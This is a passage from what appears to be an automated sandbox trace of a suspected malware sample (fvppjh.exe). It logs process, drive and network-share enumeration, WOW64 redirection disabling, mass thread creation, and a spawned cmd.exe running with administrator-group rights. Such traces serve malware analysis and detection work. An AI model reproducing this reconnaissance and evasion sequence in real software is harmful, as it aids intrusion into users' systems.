	[0185.179] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.180] lstrlenW (lpString="svchost.exe") returned 11
	[0185.180] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.180] lstrlenW (lpString="svchost.exe") returned 11
	[0185.180] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.181] lstrlenW (lpString="svchost.exe") returned 11
	[0185.181] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.181] lstrlenW (lpString="svchost.exe") returned 11
	[0185.181] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.182] lstrlenW (lpString="svchost.exe") returned 11
	[0185.182] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.182] lstrlenW (lpString="svchost.exe") returned 11
	[0185.182] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.182] lstrlenW (lpString="svchost.exe") returned 11
	[0185.182] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.183] lstrlenW (lpString="svchost.exe") returned 11
	[0185.183] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0185.183] lstrlenW (lpString="spoolsv.exe") returned 11
	[0185.183] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.184] lstrlenW (lpString="svchost.exe") returned 11
	[0185.184] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0185.184] lstrlenW (lpString="audiodg.exe") returned 11
	[0185.184] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0185.185] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0185.185] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0185.185] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0185.185] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0185.185] lstrlenW (lpString="Memory Compression") returned 18
	[0185.185] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0185.186] lstrlenW (lpString="sihost.exe") returned 10
	[0185.186] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0185.186] lstrlenW (lpString="svchost.exe") returned 11
	[0185.186] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0185.187] lstrlenW (lpString="taskhostw.exe") returned 13
	[0185.187] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0185.187] lstrlenW (lpString="explorer.exe") returned 12
	[0185.187] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0185.188] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0185.188] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0185.188] lstrlenW (lpString="SearchUI.exe") returned 12
	[0185.188] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0185.188] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0185.189] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0185.189] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0185.189] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0185.189] lstrlenW (lpString="fvppjh.exe") returned 10
	[0185.189] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0185.190] lstrlenW (lpString="dllhost.exe") returned 11
	[0185.190] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0185.190] lstrlenW (lpString="dllhost.exe") returned 11
	[0185.190] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0185.191] lstrlenW (lpString="fvppjh.exe") returned 10
	[0185.191] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0185.191] lstrlenW (lpString="cmd.exe") returned 7
	[0185.191] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf9c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0185.191] lstrlenW (lpString="conhost.exe") returned 11
	[0185.192] Process32NextW (in: hSnapshot=0x27c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf9c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0185.192] CloseHandle (hObject=0x27c) returned 1
	[0185.192] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 86
	os_tid = 0xfac

	[0184.813] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) 

Thread:
	id = 87
	os_tid = 0xfb0

	[0184.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62dcf0
	[0184.813] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62dcf0, Size=0x20) returned 0x60ecc0
	[0184.813] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60ecc0, Size=0x40) returned 0x5e74e8
	[0184.813] GetLogicalDrives () returned 0x4
	[0184.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x64b010
	[0184.813] GetComputerNameW (in: lpBuffer=0x64b014, nSize=0x272ff64 | out: lpBuffer="NQDPDE", nSize=0x272ff64) returned 1
	[0184.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x62f260
	[0184.814] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x272ff34 | out: lphEnum=0x272ff34*=0x5e6660) returned 0x0
	[0184.815] WNetEnumResourceW (in: hEnum=0x5e6660, lpcCount=0x272ff30, lpBuffer=0x62f260, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x62f260, lpBufferSize=0x272ff38) returned 0x103
	[0184.817] WNetCloseEnum (hEnum=0x5e6660) returned 0x0
	[0184.817] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x272ff34 | out: lphEnum=0x272ff34*=0x5ea5d0) returned 0x0
	[0184.834] WNetEnumResourceW (in: hEnum=0x5ea5d0, lpcCount=0x272ff30, lpBuffer=0x62f260, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x62f260, lpBufferSize=0x272ff38) returned 0x0
	[0184.834] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x65ec68
	[0184.835] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x62f260, lphEnum=0x272ff08 | out: lphEnum=0x272ff08*=0x5e6740) returned 0x0
	[0184.837] WNetEnumResourceW (in: hEnum=0x5e6740, lpcCount=0x272ff04, lpBuffer=0x65ec68, lpBufferSize=0x272ff0c | out: lpcCount=0x272ff04, lpBuffer=0x65ec68, lpBufferSize=0x272ff0c) returned 0x103
	[0184.837] WNetCloseEnum (hEnum=0x5e6740) returned 0x0
	[0184.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x660c78
	[0184.837] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x62f280, lphEnum=0x272ff08) 

Thread:
	id = 88
	os_tid = 0xfb4

	[0184.847] GetTickCount () returned 0x1140d40
	[0184.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x5e5408
	[0184.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e5408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0184.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e5408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0184.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e5408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0184.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e5408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0184.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62dfd8
	[0184.848] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62dfd8, Size=0x20) returned 0x60ebf8
	[0184.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62e0e0
	[0184.848] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62e0e0, Size=0x20) returned 0x60e8d8
	[0184.849] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.849] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.849] Wow64DisableWow64FsRedirection (in: OldValue=0x286ff7c | out: OldValue=0x286ff7c*=0x0) returned 1
	[0184.849] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ebf8 | out: hHeap=0x5d0000) returned 1
	[0184.849] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60e8d8 | out: hHeap=0x5d0000) returned 1
	[0184.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x617798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0184.849] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102
	[0185.165] GetTickCount () returned 0x1140e78
	[0185.165] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) 

Thread:
	id = 89
	os_tid = 0xfb8

	[0184.850] GetTickCount () returned 0x1140d40
	[0184.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x5e54c8
	[0184.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e54c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0184.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e54c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0184.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e54c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0184.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e54c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0184.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62dfd8
	[0184.852] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62dfd8, Size=0x20) returned 0x60ebf8
	[0184.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62ddf8
	[0184.852] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62ddf8, Size=0x20) returned 0x60e8d8
	[0184.852] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.852] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.852] Wow64DisableWow64FsRedirection (in: OldValue=0x29aff7c | out: OldValue=0x29aff7c*=0x0) returned 1
	[0184.853] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ebf8 | out: hHeap=0x5d0000) returned 1
	[0184.853] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.853] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60e8d8 | out: hHeap=0x5d0000) returned 1
	[0184.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x63aff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc
	[0184.853] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) returned 0x102
	[0185.165] GetTickCount () returned 0x1140e78
	[0185.165] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x64) 

Thread:
	id = 91
	os_tid = 0xfc4

	[0185.016] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x66dc40
	[0185.017] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) 

Thread:
	id = 92
	os_tid = 0xfc8

	[0185.240] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x68dc50
	[0185.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x69dc58
	[0185.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62e278
	[0185.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x65c300
	[0185.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62e248
	[0185.241] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x363e020
	[0185.244] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62e260
	[0185.244] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62e260, Size=0x20) returned 0x60e8d8
	[0185.244] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62e290
	[0185.244] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62e290, Size=0x20) returned 0x60e9c8
	[0185.244] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0185.244] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0185.244] Wow64DisableWow64FsRedirection (in: OldValue=0x2c2ff50 | out: OldValue=0x2c2ff50*=0x0) returned 1
	[0185.244] lstrlenW (lpString="kernel32.dll") returned 12
	[0185.244] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60e8d8 | out: hHeap=0x5d0000) returned 1
	[0185.244] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0185.244] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60e9c8 | out: hHeap=0x5d0000) returned 1
	[0185.244] Sleep (dwMilliseconds=0x64) 

Thread:
	id = 93
	os_tid = 0xfcc

	[0185.245] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x6adc60
	[0185.245] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x3740048
	[0185.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62e260
	[0185.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x65c340
	[0185.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x62e290
	[0185.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) 

Thread:
	id = 94
	os_tid = 0xfd0


Thread:
	id = 95
	os_tid = 0xfd4


Thread:
	id = 96
	os_tid = 0xfd8


Thread:
	id = 97
	os_tid = 0xfdc


Thread:
	id = 98
	os_tid = 0xfe0


Thread:
	id = 99
	os_tid = 0xfe4


Thread:
	id = 100
	os_tid = 0xfe8


Process:
	id = "13"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x6716e000"
	os_pid = "0xf9c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xf88"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 84
	os_tid = 0xfa0


Process:
	id = "14"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x6ae4b000"
	os_pid = "0xfbc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xf9c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 90
	os_tid = 0xfc0


Thread:
	id = 101
	os_tid = 0xfec